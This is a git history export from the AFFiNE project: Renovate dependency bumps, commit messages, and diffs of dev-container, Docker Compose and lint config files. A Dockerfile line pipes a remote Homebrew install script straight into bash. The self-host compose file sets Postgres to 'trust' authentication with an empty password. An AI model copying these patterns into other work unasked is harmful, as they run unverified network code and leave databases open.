| [@radix-ui/react-radio-group](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.2.0` -> `1.2.1`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-radio-group/1.2.0/1.2.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-radio-group/1.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-radio-group/1.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-radio-group/1.2.0/1.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-radio-group/1.2.0/1.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@radix-ui/react-scroll-area](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.0` -> `1.2.0`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-scroll-area/1.1.0/1.2.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-scroll-area/1.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-scroll-area/1.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-scroll-area/1.1.0/1.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-scroll-area/1.1.0/1.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@radix-ui/react-select](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`2.1.1` -> `2.1.2`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-select/2.1.1/2.1.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-select/2.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-select/2.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-select/2.1.1/2.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-select/2.1.1/2.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@radix-ui/react-slider](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.2.0` -> `1.2.1`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-slider/1.2.0/1.2.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-slider/1.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-slider/1.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-slider/1.2.0/1.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-slider/1.2.0/1.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@radix-ui/react-switch](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.0` -> `1.1.1`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-switch/1.1.0/1.1.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-switch/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-switch/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-switch/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-switch/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@radix-ui/react-tabs](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.0` -> `1.1.1`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-tabs/1.1.0/1.1.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-tabs/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-tabs/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-tabs/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-tabs/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@radix-ui/react-toast](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.2.1` -> `1.2.2`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-toast/1.2.1/1.2.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-toast/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-toast/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-toast/1.2.1/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-toast/1.2.1/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@radix-ui/react-tooltip](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.2` -> `1.1.3`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-tooltip/1.1.2/1.1.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-tooltip/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-tooltip/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-tooltip/1.1.2/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-tooltip/1.1.2/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@sentry/electron](https://redirect.github.com/getsentry/sentry-electron) | [`5.4.0` -> `5.7.0`](https://renovatebot.com/diffs/npm/@sentry%2felectron/5.4.0/5.7.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2felectron/5.7.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2felectron/5.7.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2felectron/5.4.0/5.7.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2felectron/5.4.0/5.7.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@sentry/esbuild-plugin](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/tree/main/packages/esbuild-plugin) ([source](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins)) | [`2.22.4` -> `2.22.6`](https://renovatebot.com/diffs/npm/@sentry%2fesbuild-plugin/2.22.4/2.22.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2fesbuild-plugin/2.22.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2fesbuild-plugin/2.22.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2fesbuild-plugin/2.22.4/2.22.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2fesbuild-plugin/2.22.4/2.22.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@sentry/react](https://redirect.github.com/getsentry/sentry-javascript/tree/master/packages/react) ([source](https://redirect.github.com/getsentry/sentry-javascript)) | [`8.32.0` -> `8.36.0`](https://renovatebot.com/diffs/npm/@sentry%2freact/8.32.0/8.36.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2freact/8.36.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2freact/8.36.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2freact/8.32.0/8.36.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2freact/8.32.0/8.36.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@sentry/react](https://redirect.github.com/getsentry/sentry-javascript/tree/master/packages/react) ([source](https://redirect.github.com/getsentry/sentry-javascript)) | [`8.32.0` -> `8.36.0`](https://renovatebot.com/diffs/npm/@sentry%2freact/8.32.0/8.36.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2freact/8.36.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2freact/8.36.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2freact/8.32.0/8.36.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2freact/8.32.0/8.36.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@sentry/webpack-plugin](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/tree/main/packages/webpack-plugin) ([source](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins)) | [`2.22.4` -> `2.22.6`](https://renovatebot.com/diffs/npm/@sentry%2fwebpack-plugin/2.22.4/2.22.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2fwebpack-plugin/2.22.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2fwebpack-plugin/2.22.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2fwebpack-plugin/2.22.4/2.22.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2fwebpack-plugin/2.22.4/2.22.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@slack/web-api](https://slack.dev/node-slack-sdk/web-api) ([source](https://redirect.github.com/slackapi/node-slack-sdk)) | [`7.5.0` -> `7.7.0`](https://renovatebot.com/diffs/npm/@slack%2fweb-api/7.5.0/7.7.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@slack%2fweb-api/7.7.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@slack%2fweb-api/7.7.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@slack%2fweb-api/7.5.0/7.7.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@slack%2fweb-api/7.5.0/7.7.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@storybook/addon-essentials](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/essentials) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/essentials)) | [`8.3.3` -> `8.4.2`](https://renovatebot.com/diffs/npm/@storybook%2faddon-essentials/8.3.3/8.4.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-essentials/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-essentials/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-essentials/8.3.3/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-essentials/8.3.3/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@storybook/addon-interactions](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/interactions) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/interactions)) | [`8.3.3` -> `8.4.2`](https://renovatebot.com/diffs/npm/@storybook%2faddon-interactions/8.3.3/8.4.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-interactions/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-interactions/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-interactions/8.3.3/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-interactions/8.3.3/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@storybook/addon-links](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/links) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/links)) | [`8.3.3` -> `8.4.2`](https://renovatebot.com/diffs/npm/@storybook%2faddon-links/8.3.3/8.4.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-links/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-links/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-links/8.3.3/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-links/8.3.3/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@storybook/addon-mdx-gfm](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/gfm) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/gfm)) | [`8.3.3` -> `8.4.2`](https://renovatebot.com/diffs/npm/@storybook%2faddon-mdx-gfm/8.3.3/8.4.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-mdx-gfm/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-mdx-gfm/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-mdx-gfm/8.3.3/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-mdx-gfm/8.3.3/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@storybook/react](https://redirect.github.com/storybookjs/storybook/tree/next/code/renderers/react) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/renderers/react)) | [`8.3.3` -> `8.4.2`](https://renovatebot.com/diffs/npm/@storybook%2freact/8.3.3/8.4.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2freact/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2freact/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2freact/8.3.3/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2freact/8.3.3/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@storybook/react-vite](https://redirect.github.com/storybookjs/storybook/tree/next/code/frameworks/react-vite) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/frameworks/react-vite)) | [`8.3.3` -> `8.4.2`](https://renovatebot.com/diffs/npm/@storybook%2freact-vite/8.3.3/8.4.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2freact-vite/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2freact-vite/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2freact-vite/8.3.3/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2freact-vite/8.3.3/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@types/mixpanel-browser](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/mixpanel-browser) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/mixpanel-browser)) | [`2.50.0` -> `2.50.2`](https://renovatebot.com/diffs/npm/@types%2fmixpanel-browser/2.50.0/2.50.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fmixpanel-browser/2.50.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fmixpanel-browser/2.50.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fmixpanel-browser/2.50.0/2.50.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fmixpanel-brows
2024-11-05 15:20:21 +00:00
pengx17
029654f45e fix(electron): share page in electron issues (#8703)
fix AF-1592
fix AF-1612
2024-11-05 11:46:03 +00:00
pengx17
ef82b9d3e7 chore(core): tracking events for doc properties (#8651)
fix AF-1565
2024-11-05 11:30:57 +00:00
EYHN
4977055a2e fix(ios): fix mobile blob storage (#8702) 2024-11-05 11:16:00 +00:00
donteatfriedrice
c0d802a169 fix: bump blocksuite script changelog generate failed (#8708) 2024-11-05 10:44:27 +00:00
forehalo
01228117e3 feat(core): update connector shortcut (#8690)
fix AF-1580
2024-11-05 10:29:36 +00:00
renovate[bot]
c70318735c chore: bump up nestjs to v10.4.7 (#8706)
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-11-05 18:28:53 +08:00
donteatfriedrice
ca6e8c380b feat: bump blocksuite (#8705)
## Feat

- feat: add pdf viewer to playground (#8650)
- feat: add view toggle menu to toolbar of attachment block (#8660)
- feat: attachment embedded view supports configurable (#8658)

## Fix

- fix: tidy up after multiple images uploaded (#8671)
- fix: unable to add caption for linked document of embedded view (#8670)
- fix(blocks): code block should update highlight when theme changed (#8669)
- fix(edgeless): allow right click of tool controller (#8652)
- fix(database): short name of tag type (#8665)
- fix: the content of formula should contain spaces (#8647)
- fix: import notion database with title (#8661)
- fix(page): bookmark block selected style (#8656)
- fix(edgeless): switching shape style and color, the preview does not change in time (#8655)
- fix(blocks): size of icons are not consistent in keyboard toolbar (#8653)
- fix: use host instead of offsetParent (#8651)

## Refactor

- refactor(database): filter ui (#8611)

## Ci

- ci: renovate pr title lint (#8666)
2024-11-05 08:54:00 +00:00
pengx17
684b676028 fix(core): adapt new database chip color scheme (#8697)
fix AF-1609
2024-11-05 08:33:57 +00:00
JimmFly
aae71a23eb fix(core): temporarily make AI functions not follow server configuration (#8698)
Since the switch of the AI ​​function in Blocksuite cannot be hot-updated, the editor will not be able to use the AI ​​function when it is not connected to the server at the beginning, so this code is temporarily removed.
2024-11-05 08:17:58 +00:00
CatsJuice
9e903fe909 fix(component): optimize stack notification with different height (#8700)
![CleanShot 2024-11-05 at 09.10.54.gif](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/LakojjjzZNf6ogjOVwKE/ed74d2ad-3044-4df3-9207-69a891435ea3.gif)
2024-11-05 07:47:57 +00:00
pengx17
e7732d0e18 fix(core): update prompt texts for opening new doc (#8696)
fix AF-1590
2024-11-05 07:31:00 +00:00
pengx17
8c650f7b43 test(core): add open in app test case (#8695)
fix AF-1496
2024-11-05 07:30:59 +00:00
CatsJuice
c41646be7f fix(core): bump theme to fix full-width-layout and editor font customization (#8704)
close AF-1610, AF-1601

**Original PR in design: [#138](https://github.com/toeverything/design/pull/138)**
2024-11-05 07:16:28 +00:00
JimmFly
9e41918a1a feat(core): remember the scroll position of doc when routing forward and backward (#8631)
close AF-1011

https://github.com/user-attachments/assets/d2dfeee2-926f-4760-b3fb-8baf5ff90aa9
2024-11-05 06:59:34 +00:00
CatsJuice
15749def2a chore: bump theme version, replace all typography in mobile (#8701) 2024-11-05 03:48:26 +00:00
EYHN
902635e60f refactor(core): desktop project struct (#8334) 2024-11-05 11:00:33 +08:00
darkskygit
89d09fd5e9 fix: copilot ci condition (#8692) 2024-11-05 02:36:52 +00:00
CatsJuice
fe04ab35cc feat(mobile): mobile app fallback skeleton (#8686)
close AF-1533, AF-1532
2024-11-05 00:35:21 +00:00
CatsJuice
5b5dc26abf chore(core): always display annually for cloud toggle (#8693) 2024-11-04 15:05:16 +00:00
pengx17
de7b1ff516 fix(core): do not show open-in-app in mobile web browser (#8694) 2024-11-04 12:33:10 +00:00
5845 changed files with 509970 additions and 96906 deletions

View File

@@ -1,2 +1,8 @@
[target.x86_64-pc-windows-msvc]
rustflags = ["-C", "target-feature=+crt-static"]
[target.aarch64-pc-windows-msvc]
rustflags = ["-C", "target-feature=+crt-static"]
[target.'cfg(target_os = "linux")']
rustflags = ["-C", "link-args=-Wl,--warn-unresolved-symbols"]
[target.'cfg(target_os = "macos")']
rustflags = ["-C", "link-args=-all_load"]

View File

@@ -1,5 +1,6 @@
FROM mcr.microsoft.com/devcontainers/base:bookworm
USER vscode
# Install Homebrew For Linux
RUN /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" && \
eval "$(/home/linuxbrew/.linuxbrew/bin/brew shellenv)" && \

View File

@@ -9,7 +9,7 @@ corepack prepare yarn@stable --activate
yarn install
# Build Server Dependencies
yarn workspace @affine/server-native build
yarn affine @affine/server-native build
# Create database
yarn workspace @affine/server prisma db push
yarn affine @affine/server prisma db push

View File

@@ -21,6 +21,5 @@
}
},
"updateContentCommand": "bash ./.devcontainer/build.sh",
"postCreateCommand": "bash ./.devcontainer/setup-user.sh",
"postStartCommand": ["yarn dev", "yarn workspace @affine/server dev"]
"postCreateCommand": "bash ./.devcontainer/setup-user.sh"
}

View File

@@ -11,6 +11,7 @@ services:
network_mode: service:db
environment:
DATABASE_URL: postgresql://affine:affine@db:5432/affine
REDIS_SERVER_HOST: redis
db:
image: postgres:latest
@@ -21,6 +22,10 @@ services:
POSTGRES_PASSWORD: affine
POSTGRES_USER: affine
POSTGRES_DB: affine
redis:
image: redis
ports:
- 6379:6379
volumes:
postgres-data:

3
.docker/dev/.env.example Normal file
View File

@@ -0,0 +1,3 @@
DB_PASSWORD=affine
DB_USERNAME=affine
DB_DATABASE_NAME=affine

3
.docker/dev/.gitignore vendored Normal file
View File

@@ -0,0 +1,3 @@
postgres
.env
compose.yml

View File

@@ -0,0 +1,31 @@
name: affine_dev_services
services:
postgres:
env_file:
- .env
image: postgres:16
ports:
- 5432:5432
environment:
POSTGRES_PASSWORD: ${DB_PASSWORD}
POSTGRES_USER: ${DB_USERNAME}
POSTGRES_DB: ${DB_DATABASE_NAME}
volumes:
- postgres_data:/var/lib/postgresql/data
redis:
image: redis:latest
ports:
- 6379:6379
mailhog:
image: mailhog/mailhog:latest
ports:
- 1025:1025
- 8025:8025
networks:
dev:
volumes:
postgres_data:

View File

@@ -0,0 +1,23 @@
# select a revision to deploy, available values: stable, beta, canary
AFFINE_REVISION=stable
# set the port for the server container it will expose the server on
PORT=3010
# set the host for the server for outgoing links
# AFFINE_SERVER_HTTPS=true
# AFFINE_SERVER_HOST=affine.yourdomain.com
# or
# AFFINE_SERVER_EXTERNAL_URL=https://affine.yourdomain.com
# position of the database data to persist
DB_DATA_LOCATION=~/.affine/self-host/postgres/pgdata
# position of the upload data(images, files, etc.) to persist
UPLOAD_LOCATION=~/.affine/self-host/storage
# position of the configuration files to persist
CONFIG_LOCATION=~/.affine/self-host/config
# database credentials
DB_USERNAME=affine
DB_PASSWORD=
DB_DATABASE=affine

View File

@@ -0,0 +1,74 @@
name: affine
services:
affine:
image: ghcr.io/toeverything/affine-graphql:${AFFINE_REVISION:-stable}
container_name: affine_server
ports:
- '${PORT:-3010}:3010'
depends_on:
redis:
condition: service_healthy
postgres:
condition: service_healthy
affine_migration:
condition: service_completed_successfully
volumes:
# custom configurations
- ${UPLOAD_LOCATION}:/root/.affine/storage
- ${CONFIG_LOCATION}:/root/.affine/config
env_file:
- .env
environment:
- REDIS_SERVER_HOST=redis
- DATABASE_URL=postgresql://${DB_USERNAME}:${DB_PASSWORD}@postgres:5432/${DB_DATABASE:-affine}
restart: unless-stopped
affine_migration:
image: ghcr.io/toeverything/affine-graphql:${AFFINE_REVISION:-stable}
container_name: affine_migration_job
volumes:
# custom configurations
- ${UPLOAD_LOCATION}:/root/.affine/storage
- ${CONFIG_LOCATION}:/root/.affine/config
command: ['sh', '-c', 'node ./scripts/self-host-predeploy.js']
env_file:
- .env
environment:
- REDIS_SERVER_HOST=redis
- DATABASE_URL=postgresql://${DB_USERNAME}:${DB_PASSWORD}@postgres:5432/${DB_DATABASE:-affine}
depends_on:
postgres:
condition: service_healthy
redis:
condition: service_healthy
redis:
image: redis
container_name: redis
healthcheck:
test: ['CMD', 'redis-cli', '--raw', 'incr', 'ping']
interval: 10s
timeout: 5s
retries: 5
restart: unless-stopped
postgres:
image: postgres:16
container_name: postgres
volumes:
- ${DB_DATA_LOCATION}:/var/lib/postgresql/data
environment:
POSTGRES_USER: ${DB_USERNAME}
POSTGRES_PASSWORD: ${DB_PASSWORD}
POSTGRES_DB: ${DB_DATABASE:-affine}
POSTGRES_INITDB_ARGS: '--data-checksums'
# you better set a password for you database
# or you may add 'POSTGRES_HOST_AUTH_METHOD=trust' to ignore postgres security policy
POSTGRES_HOST_AUTH_METHOD: trust
healthcheck:
test:
['CMD', 'pg_isready', '-U', "${DB_USERNAME}", '-d', "${DB_DATABASE:-affine}"]
interval: 10s
timeout: 5s
retries: 5
restart: unless-stopped

View File

@@ -1,7 +0,0 @@
CHANGELOG_URL=
ENABLE_NEW_SETTING_UNSTABLE_API=
ENABLE_CAPTCHA=
CAPTCHA_SITE_KEY=
ENABLE_ENHANCE_SHARE_MODE=
ALLOW_LOCAL_WORKSPACE=
DEBUG_JOTAI=

View File

@@ -1,16 +0,0 @@
node_modules
dist
.next
out
storybook-static
affine-out
_next
lib
.eslintrc.js
e2e-dist-*
static
web-static
public
packages/frontend/i18n/src/i18n-generated.ts
packages/frontend/i18n/src/i18n-completenesses.json
packages/frontend/templates/*.gen.ts

View File

@@ -1,289 +0,0 @@
const { join } = require('node:path');
const createPattern = packageName => [
{
group: ['**/dist', '**/dist/**'],
message: 'Do not import from dist',
allowTypeImports: false,
},
{
group: ['**/src', '**/src/**'],
message: 'Do not import from src',
allowTypeImports: false,
},
{
group: [`@affine/${packageName}`],
message: 'Do not import package itself',
allowTypeImports: false,
},
{
group: [`@toeverything/${packageName}`],
message: 'Do not import package itself',
allowTypeImports: false,
},
{
group: ['@blocksuite/store'],
message: "Import from '@blocksuite/global/utils'",
importNames: ['assertExists', 'assertEquals'],
},
{
group: ['react-router-dom'],
message: 'Use `useNavigateHelper` instead',
importNames: ['useNavigate'],
},
{
group: ['@affine/env/constant'],
message:
'Do not import from @affine/env/constant. Use `BUILD_CONFIG.isElectron` instead',
importNames: ['isElectron'],
},
];
const allPackages = [
'packages/backend/server',
'packages/frontend/component',
'packages/frontend/core',
'packages/frontend/apps/electron',
'packages/frontend/apps/web',
'packages/frontend/apps/mobile',
'packages/frontend/graphql',
'packages/frontend/i18n',
'packages/frontend/native',
'packages/frontend/templates',
'packages/frontend/track',
'packages/common/debug',
